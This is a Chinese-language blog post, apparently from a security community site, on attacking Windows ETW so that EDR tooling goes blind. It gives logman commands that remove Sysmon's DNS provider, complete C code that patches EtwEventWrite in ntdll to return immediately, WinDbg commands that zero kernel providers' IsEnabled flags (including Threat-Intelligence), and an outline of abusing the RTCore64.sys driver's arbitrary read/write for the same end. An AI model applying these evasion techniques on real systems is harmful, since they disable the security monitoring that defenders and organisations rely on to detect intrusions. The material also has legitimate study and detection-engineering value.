Windows ETW攻击
漏洞分析
微软将ETW定义为操作系统提供的通用,高速追踪设施。这意味着它允许``Windows``从用户模式应用程序和内核模式驱动程序中收集详细的事件数据,ETW使用缓冲和日志记录机制,为用户模式应用程序和内核模式驱动程序生成的事件提供追踪功能。 由于ETW提供了传输遥测数据的安全通道,这使得EDR及其依赖于它。这些遥测数据有助于EDR来进行有效的检测记录和响应威胁。
#### Etw简介 微软将ETW定义为操作系统提供的通用,高速追踪设施。这意味着它允许`Windows`从用户模式应用程序和内核模式驱动程序中收集详细的事件数据,ETW使用缓冲和日志记录机制,为用户模式应用程序和内核模式驱动程序生成的事件提供追踪功能。 由于ETW提供了传输遥测数据的安全通道,这使得EDR及其依赖于它。这些遥测数据有助于EDR来进行有效的检测记录和响应威胁。 #### Etw基本了解 **所以如果我们可以破坏ETW,那么就可以直接让EDR致盲。** ETW主要有4个大模块,分别是提供者,消费者,Session会话,控制器。 首先来看一下**ETW的提供者**,**ETW提供者负责生成事件并将其写入到ETW追踪会话中。**`Windows`系统中本身已经有内核提供者,但不仅限于此。用户应用程序也可以定义自己的提供者,并配有独特的事件。 **消费者是用于消费ETW追踪会话中的事件**,一般消费者会订阅ETW追踪会话然后开始实时工作。**除了订阅ETW追踪会话之外,也可以通过读取日志进行工作**。消费者可以是由用于或应用程序来创建的。**一个消费者可以订阅多个ETW追踪会话。** **控制器是用于控制启动和停止ETW追踪会话以及控制那些事件的流出和设置存储事件数据的日志文件。** 控制器还负责处理会话缓冲区,并追踪统计数据,例如使用了多少缓冲区,已传递或丢失了多少数据。 现在让我们使用`logman`工具来查询`ETW`提供者。如果要获取内置`ETW`提供者的数量可以使用如下命令: ```c logman query providers | find /c /v "" ``` 如下我们得知`ETW`提供者的数量为`1175`个。  现在我们来列出所有内置的`Etw`提供程序以及`Guid`。 ```c logman query providers ```  当我们得到`Etw`提供者之后,我们现在专注于查找特定提供者所发出的事件,从它所发出的事件我们可以得知该提供者正在监控那些活动。可以通过如下命令查询: ```js logman query providers <提供者名称> ``` 在如下示例中我们正在查询`Microsoft-Windows-Threat-Intelligence`,以及该提供者所具备的功能,该提供者会记录本地进程和远程进程中的内存分配以及内存保护事件。  接下来我们来查询`Etw`追踪会话。这些会话用于实时收集遥测数据。如下命令列出了`Etw`追踪会话以及是否正在运行。 ```c logman query -ets ``` 如下图中有我们熟悉的`Sysmon`追踪会话,它使用了两个会话,分别是`Sysmon-Trace`和`SysmonDnsEtwSession`,`Sysmon-Trace`追踪会话正在捕获由`Sysmon`驱动程序发送的内核回调中的系统监控数据,比如进程的创建,线程的创建,映像的加载,注册表修改,对象操作以及微过滤器等操作。这些遥测数据最终都会被写入到`Sysmon-Trace`追踪会话中。 还有一个是`SysmonDnsEtwSession`追踪会话,该追踪会话用于收集`DNS`遥测数据。该提供者可以使用`logman`工具在用户模式下禁用。  需要注意的是一些EDR会隐藏它们的追踪会话。所以它们会保护自己的会话,例如`Windows Defender`,我们不会在`logman`的输出中看到它们,它们有`DefenderAuditLogger`和`DefenderAPILogger`这些会话。它们没有出现在`logman`的输出中是因为它们受到了保护,阻止用户模式下访问。 现在我们列出指定的追踪会话中的`Etw`提供者。 如下实例中,我们列出了`SysmonDnsEtwSession`会话中的提供者。可以看到如下图中`Microsoft-Windows-DNS-Client`是`SysmonDnsEtwSession`会话的提供者。这意味着会话通过`Microsoft-Windows-DNS-Client`提供者来收集`DNS`遥测数据。 ```c logman query SysmonDnsEtwSession -ets ```  现在让我们来看看如何从用户模式中禁用`Etw`提供者。 在这之前我们需要了解一下**普通**的`ETW`提供者和**安全**的`Etw`提供者的区别,普通`Etw`提供者可以从用户模式访问和修改,它们很容易遭到篡改或禁用。`EDR`使用的安全`Etw`提供者受到用户模式的保护,如果没有`Protected Process Light(PPL)`方式运行的服务或进程,则无法轻易禁用或查询。 因此如果我们要禁用普通的`Etw`提供者,我们可以使用如下命令: ```c logman update trace <会话名称> --p <提供者名称> -ets ``` ```c logman update trace SysmonDnsEtwSession --p Microsoft-Windows-DNS-Client -ets ``` 如下图当我们禁用之后,我们重新查询`SysmonDnsEtwSession`追踪会话,其中已经没有`Etw`提供程序了。 当禁用之后,`Sysmon`将不会再获取`DNS`遥测数据。  现在我们将使用如下`Javascript`脚本来枚举所有`Etw`提供者,包括那些安全的提供者,对于每一个`Etw`提供者,它将显示正在从中收集`Etw`事件的会话,以及正在向该会话写入事件的提供者。 ```c https://github.com/trailofbits/WinDbg-Js/blob/main/EtwKernelRoutines.js ``` 然后使用如下命令来枚举出系统中所有的`ETW`消费者及其会话,以及将事件写入这些会话的`ETW`提供者。 ```c dx @$cursession.Processes.Select(p=> @$scriptContents.EtwConsumersForProcess(p)) ```  如上图中`svchost.exe`作为`Etw`消费者,而追踪会话的名称为: `UBPM`,`Etw`提供程序用于产生遥测数据,最终会将遥测数据写入到`UBPM`追踪会话中,由`svchost.exe`来进行消费。 如果我们想要枚举特定进程的`Etw`信息,则需要指定`Pid`。 例如查看`Sysmon`进程的。 ```c dx @$scriptContents.EtwConsumersForProcess(@$cursession.Processes.Where(p => p.Id == 0x8dc).First()) ``` 可以看到`Sysmon`有两个追踪会话,`SysMon TRACE`追踪会话并没有`Etw`提供程序。但`SysmonDnsEtwSession`有一个`Etw`提供程序为: `{1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}`。  我们来看看该`Guid`对应的是那个`Etw`提供程序。 ```c logman query providers {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D} ``` 可以看到我们发现该`Guid`其实对应的就是`Microsoft-Windows-Dns-Client`。  那么我们按照之前所说的我们对其进行移除。  现在比如说我们打开一个网站,这时候`Sysmon`就不会捕获`DNS`相关的数据了。 #### 用户层Bypass ETW 现在我们来看看如何通过修补`EtwEventWrite`API函数来禁用用户模式`Etw`提供程序事件生成。该`Api`函数被用户模式`Etw`提供程序用来将用户模式事件写入`EDR`消费者所在的会话中,以便检测我们的恶意操作,比如进程中是否正在加载`.Net`脚本,或者加载恶意的`.Net`程序集。 所以首先第一步是通过`GetModuleHandle`配合`GetProcAddress`函数来获取到`EtwEventWrite`的地址。`EtwEventWrite`函数是在`Ntdll`模块中导出的。 第二步我们需要修改它的保护属性,将其它的属性从`RX`可读可执行更改为`RW`可读可写。这里将使用`VirtualProtect`函数来将`EtwEventWrite`的内存保护从`PAGE_EXECUTE_READ`更改为`PAGE_EXECUTE_READWRITE`。 在最后一步中,我们就需要来修补`EtwEventWrite`函数的开头,写入`0x48,0x33,0xc0,0xc3`操作码。该操作码表示`xor rax,rax` `ret`。`xor rax rax`指令会将`rax`寄存器清零,在`Windows API`调用约定中,`RAX`寄存器中的值用于存储返回值,也就是说我们让该函数直接返回`0`,也就是调用成功。 如下代码: ```c #include <windows.h> #include <stdio.h> typedef NTSTATUS (NTAPI* fnNtProtectVirtualMemory)( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtection, OUT PULONG OldProtection ); typedef NTSTATUS (NTAPI* fnNtWriteVirtualMemory)( _In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, _In_reads_bytes_(NumberOfBytesToWrite) PVOID Buffer, _In_ SIZE_T NumberOfBytesToWrite, _Out_opt_ PSIZE_T NumberOfBytesWritten ); #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif void PatchEtw(HANDLE hProcess) { //获取到EtwEventWrite函数地址 HMODULE NtdllModule = GetModuleHandleA("ntdll.dll"); PVOID pAddress = GetProcAddress(NtdllModule,"EtwEventWrite"); //定义Patch的字节 //xor rax rax ret char etwPath[] = { 0x48,0x33,0xc0,0xc3 }; PVOID baseAddress = pAddress; // 需要一个变量来存放地址 SIZE_T regionSize = 4; // 明确指定 Patch 大小 ULONG oldProtect = 0; //获取到NtProtectVirtualMemory函数地址和NtWriteVirtualMemory地址 fnNtWriteVirtualMemory NtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(NtdllModule, "NtWriteVirtualMemory"); fnNtProtectVirtualMemory NtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(NtdllModule, "NtProtectVirtualMemory"); //修改EtwEventWrite保护属性 DWORD OldProtect = NULL; NTSTATUS status = NtProtectVirtualMemory( hProcess, &baseAddress, &regionSize, PAGE_EXECUTE_READWRITE, &oldProtect ); //写入修补字节 SIZE_T NumberOfBytes = NULL; NtWriteVirtualMemory(hProcess, pAddress, (PVOID)etwPath, sizeof(etwPath),&NumberOfBytes); //将保护权限改回来 NTSTATUS status1 = NtProtectVirtualMemory( hProcess, &baseAddress, &regionSize, PAGE_EXECUTE_READ, &oldProtect ); } int main() { //打开当前进程的句柄 HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, GetCurrentProcessId()); //Patch Etw PatchEtw(hProcess); } ```   现在我们来测试一下,这里编写了一个`CLR`加载的代码,当加载`CLR`时这将触发`Microsoft-Windows-DotNETRuntime`提供者将使用`EtwEventWrite` API函数来向`Etw`会话中写入`.Net`事件。我们先来看看在没有修补`EtwEventWrite`之前调用`CLR`加载的代码看它是否会产生事件。 ```c void LoadCLR() { ICLRMetaHost* pMetaHost = NULL; IEnumUnknown* pRuntimeEnum = NULL; ICLRRuntimeInfo* pRuntimeInfo = NULL; ICLRRuntimeHost* pRuntimeHost = NULL; IUnknown* pEnumRuntime = NULL; LPWSTR DotNetversion = NULL; DWORD bytes = 2048; HRESULT hr; printf("[+] Loading CLR ...\n"); // 1. 获取 CLR MetaHost 实例,用于管理 CLR 版本 hr = CLRCreateInstance(&CLSID_CLRMetaHost, &IID_ICLRMetaHost, (LPVOID*)&pMetaHost); if (FAILED(hr)) { printf("[-] Failed in CLRCreateInstance (0x%08X)\n", hr); return; } // 2. 枚举所有已安装的 CLR 运行时 hr = pMetaHost->lpVtbl->EnumerateInstalledRuntimes(pMetaHost, &pRuntimeEnum); if (FAILED(hr)) { printf("[-] Failed in EnumerateInstalledRuntimes (0x%08X)\n", hr); pMetaHost->lpVtbl->Release(pMetaHost); return; } // 3. 为版本号字符串分配内存 DotNetversion = (LPWSTR)LocalAlloc(LPTR, bytes * sizeof(WCHAR)); if (DotNetversion == NULL) { printf("[-] Failed in LocalAlloc (%u)\n", GetLastError()); pRuntimeEnum->lpVtbl->Release(pRuntimeEnum); pMetaHost->lpVtbl->Release(pMetaHost); return; } // 4. 遍历安装的运行时并获取版本 while (pRuntimeEnum->lpVtbl->Next(pRuntimeEnum, 1, &pEnumRuntime, NULL) == S_OK) { // 使用 C 语言的 QueryInterface 方式 hr = pEnumRuntime->lpVtbl->QueryInterface(pEnumRuntime, &IID_ICLRRuntimeInfo, (LPVOID*)&pRuntimeInfo); if (SUCCEEDED(hr)) { // 获取版本号字符串 pRuntimeInfo->lpVtbl->GetVersionString(pRuntimeInfo, DotNetversion, &bytes); printf("[+] Supported CLR Framework version : %ls\n", DotNetversion); // 为了加载宿主,我们需要保留最后一个运行时信息 // 实际生产代码需要在这里决定使用哪个版本 } pEnumRuntime->lpVtbl->Release(pEnumRuntime); } // 5. 获取特定版本的运行时宿主接口 if (pRuntimeInfo != NULL) { hr = pRuntimeInfo->lpVtbl->GetInterface(pRuntimeInfo, &CLSID_CLRRuntimeHost, &IID_ICLRRuntimeHost, (LPVOID*)&pRuntimeHost); if (FAILED(hr)) { printf("[-] Failed in GetInterface() (0x%08X)\n", hr); } else { // 6. 在当前进程中启动 CLR hr = pRuntimeHost->lpVtbl->Start(pRuntimeHost); if (SUCCEEDED(hr)) { printf("[+] CLR Loaded Successfully.\n"); } } } // 清理资源 if (DotNetversion) LocalFree(DotNetversion); if (pRuntimeInfo) pRuntimeInfo->lpVtbl->Release(pRuntimeInfo); if (pRuntimeHost) pRuntimeHost->lpVtbl->Release(pRuntimeHost); if (pRuntimeEnum) pRuntimeEnum->lpVtbl->Release(pRuntimeEnum); if (pMetaHost) pMetaHost->lpVtbl->Release(pMetaHost); } ``` 在这里我们将注释掉`PatchEtw`函数,只调用`LoadCLR`函数。这将促使`Microsoft-Windows-DotNETRuntime`向`Etw`会话中写入事件。 在运行我们的程序之前,我们需要启动一个`.Net`事件会话,用于拦截来自`Microsoft-Windows-DotNETRuntime`的事件。 ```c logman start DotNETevents -p Microsoft-Windows-DotNETRuntime 0x1CCBD 0x5 -ets -ct perf ``` 该命令将启动一个名为`DotNETevents`的`ETW`会话,指定要监听的提供程序为: `Microsoft-Windows-DotNETRuntime`。 `0x1CCBD`将告诉提供程序只记录特定类型的`.NET`事件。 启动之后,运行我们的`LoadCLR`代码即可。然后停止追踪会话。这里需要记住我们的`Pid`为`304`。  它将生成一个日志文件。  现在我们将该日志文件转换为可读的事件,方便我们阅读。 ```c tracerpt DotNETevents.etl ```   打开这个`xml`文件。搜索`Pid`为:`304`的事件。我们可以看到这个事件被我们的会话捕获到了,他是通过`Microsoft-Windows-DotNETRuntime`写入的,事件内容是`CLR`的加载。  现在让我们来修补`EtwEventWrite`,看看是否还是这样的。   现在我们再来看看是否有进程`296`的事件。我们会发现已经没有了。  #### 内核层Bypass ETW 现在让我们来看看内核模式的`Etw`提供程序,首先从注册机制来开始,我们将其`Ntoskrnl.exe`加载到`IDA PRO`中,我们进入导出表并搜索`EtwRegister`。查看交叉引用,看该函数在哪里被调用了,这里我们点击第一个。  我们可以看到他正在注册这个提供程序,其Guid是`INTSTEER_ETW_PROVIDER`。  我们点击它,就可以查看到`Guid`,也就是提供程序标识符的`ID`。  `EtwRegister`的最后一个是输出参数,而不是输入参数,`EtwRegsiter`执行完毕后,会在最后一个参数所指向的内存地址中写入一个注册句柄,该注册句柄是后续调用`EtwWrite`或`EtwWriteEx`函数向`Etw`会话中写入事件的凭证。  我们按下`X`键,再来看看哪里调用`EtwRegister`,这里很好多个,这里我们可以看到每一个都在注册一个提供程序,用于记录某些特定的事件。  这里有很多调用`WpInitialize`函数的地方,这可能是用于注册内核提供程序的初始化例程。如下图中  这里有很多我们使用`logman query provider`命令时列举出来的提供此程序,比如如下图中的磁盘提供程序。   这些提供程序都是在`WpInitialize`初始化例程中注册的。 前面我们说到过注册句柄是非常重要的凭证,注册句柄可以用于启用提供程序。  在写入事件的时候也会使用到`Etw`注册句柄,并且事件存储在这些`UserData`中。  对于其他驱动程序,比如`WdFilter`,`MDE`这样的驱动程序,它们都是在驱动程序中通过`EtwRegister`来注册的。 现在我们来看看`WdFilter`。`Windows Defender`是一个核心进程,它还有一个`MsMpEng.exe`,也就是消费者。`MsMpeng.exe`是作为`Etw`消费者存在的,我们可以在`windbg.exe`中查看。  因此`MsMpEng.exe`正在消费来自内核提供程序的事件,同时也消费来自`WDFilter`提供程序的事件。 所以`WdFilter`有自己内置的提供程序,`WdFilter`从`ntoskrnl.exe`内核中导入了`EtwRegister`。所以我们直接搜索该函数即可。  我们随便点击一个,可以看到`WdFilter`自己内置的提供程序是: `Microsoft-Antimalware-AMFilter`,它的注册句柄是`Microsoft_Antimalware_AMFilter_Context`。`Etw`使用该句柄来通过`EtwWrite`写入事件。  我们来看看该句柄在哪里被引用了,可以看到,这里通过调用`EtwWriteTransfer`来写入事件,其中使用注册句柄,其中的`UserData`是是收集到的数据。   其他函数中也是用到了注册句柄,比如`MpScanFile`。这里将我们注册句柄的指针传递进去,如果我们跟进去查看会发现确实使用到了我们的注册句柄。  现在让我们来看看`mesecflt.sys`驱动程序中的提供程序,看看它是自定义的驱动程序还是内核原生的提供程序。  我们点击第一个查看。可以看到它使用的是自定义的提供程序,且注册句柄为: `Microsoft_Windows_SECHandle`。  我们可以看看该句柄在哪里被引用了。可以看到有非常多的地方都用到了该注册句柄。  比如在这里调用`EtwWrite`写入事件时用到了该注册句柄。  现在我们来看看如何利用`windbg`禁用`ETW`内核模式提供程序。首先我们必须解析出`ETW`提供程序的注册句柄,在这一步我们的重点是定位该句柄,这对于开始禁用`ETW`提供程序的流程至关重要。 所以我们使用如下命令来进行获取: ```c x <driver>!<RegHandleName> //该命令将获取到该句柄在内存中的地址 这里的RegHandleName是我们通过IDA PRO逆向中得到的 dq <RegHandleAddr> L1 //对句柄地址进行解引用,使用该命令来获取它的值。该值指向内部ETW数据结构 也就是我们后续会用到的ETW_REG_ENTRY ```  一旦我们解析出`Etw`提供程序注册句柄的值,下一步就是定义该提供程序的`GuidEntry`。 所以我们使用如下命令来利用注册句柄的值来查询`ETW`结构体。也就是`ETW_REG_ENTRY`。 ```c dt nt!_ETW_REG_ENTRY <RegHandle_Value> ```  在该结构偏移量`0x20`处,可以找到`GuidEntry`成员,其类型为`_ETW_GUID_ENTRY`。那么我们使用`dq`命令来获取`EtwGuidEntry`的地址。 ```c dq ffff9485`6c097d10+0x20 L1 ```  `_ETW_GUID_ENTRY`中保存了有关`ETW`提供程序状态的详细信息,包括其启用状态。所以下一步则是获取到他的`_ETW_GUID_ENTRY`结构。 ```c dt nt!_ETW_GUID_ENTRY ffffdb8b`7027e390 ```  下一步则是获取到`_ETW_GUID_ENTRY`结构中的`ProviderEnableInfo`成员,`ProviderEnableInfo`成员在`ETW_GUID_ENTRY`结构中偏移`0x60`的位置, 该成员是一个`TRACE_ENABLE_INFO`结构,该结构中有一个成员为`IsEnabled`。该成员是一个布尔值,它决定了`Etw`提供程序是启用还是禁用。所以我们可以来查看该结构: `_TRACE_ENABLE_INFO`。 ```c dt nt!_TRACE_ENABLE_INFO ffffdb8b`7027e390+0x60 ```  如上图中`IsEnabled`成员的值为`1`,表示该提供程序已启用,意味着提供程序正在向`Etw`会话中发送`Etw`事件。如果它的值为`0`,那么则表示该提供程序已被禁用。因此操作该值可以帮助我们来控制提供程序的行为是发送事件还是阻止它发送事件。 所以我们下一步是将该值更改为`0`,来禁用`Etw`提供程序。 由于`IsEnabled`是4个字节的,所以我们可以使用`eb`命令来修改它的值。 ```c eb ffffdb8b`7027e390+0x60 0x0 ```  现在我们来看看一行命令来启用或禁用`Etw`提供程序。 ```c db poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 L1 //获取该注册句柄所对应的Etw提供程序是启用还是禁用 ``` 可以看到如下图中的值为`00`,则表示该`Etw`提供程序已被禁用。这条命令的含义是读取位于`nt!EtwThreatIntProvRegHandle`句柄所指的`_ETW_GUID_ENTRY`结构体中`ProviderEnableInfo`偏移量处的内存,读取长度为1个字节。  如果我们想要修改其值,我们可以通过`eb`命令来实现。 ```c eb poi(poi(nt!EtwThreatIntProvRegHandle)+0x20)+0x60 01 ```  当然也可以禁用`Etw`提供程序。  #### 利用RTCore64.sys驱动来禁用ETW 现在我们将利用`RtCore64.sys`驱动程序来禁用`Etw`内核模式提供程序。第一步是解析内核模式提供程序并获取用户输入,第二步是在内核内存中定位提供程序的`IsEnable`标志。第三步是修改`IsEnable`标志以更改`ETW`提供程序的状态。 首先我们来看一下第一步,首先利用`Microsoft PDB`符号解析与`ETW`提供程序相关的偏移量。主要来获取`EtwThreatIntProvRegHandle`,`GuidEntry`,`ProviderEnableInfo`偏移量的值。  获取到`EtwThreatIntProvRegHandle`注册句柄偏移量的值后,我们就可以通过`ntoskrnl.exe`模块的基地址加上该值来定义到`EtwThreatIntProvRegHandle`注册句柄的基地址了。所以下一步主要是来通过`RtCore64.sys`驱动程序的任意读漏洞来读取这些结构的地址。最终获取到`ProviderEnableInfo`的地址。  拿到`ProviderEnableInfo`的地址后,读取一个字节,也就是读取`IsEnable`成员的值。如果该值为`0x0`则表示`Etw`提供程序被禁用,如果该值为`0x1`那么表示`Etw`提供程序启用。所以后续是根据传递的参数来指定读取或写入操作。  现在我们将值更改为`0x0`。以禁用`Etw`提供程序。  现在再次查询,可以看到该值已经从`0x01`更改为了`0x00`。 
发表于 2026-03-20 09:00:02
阅读 ( 47 )
分类:
二进制
0 推荐
收藏
0 条评论
南陈
4 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!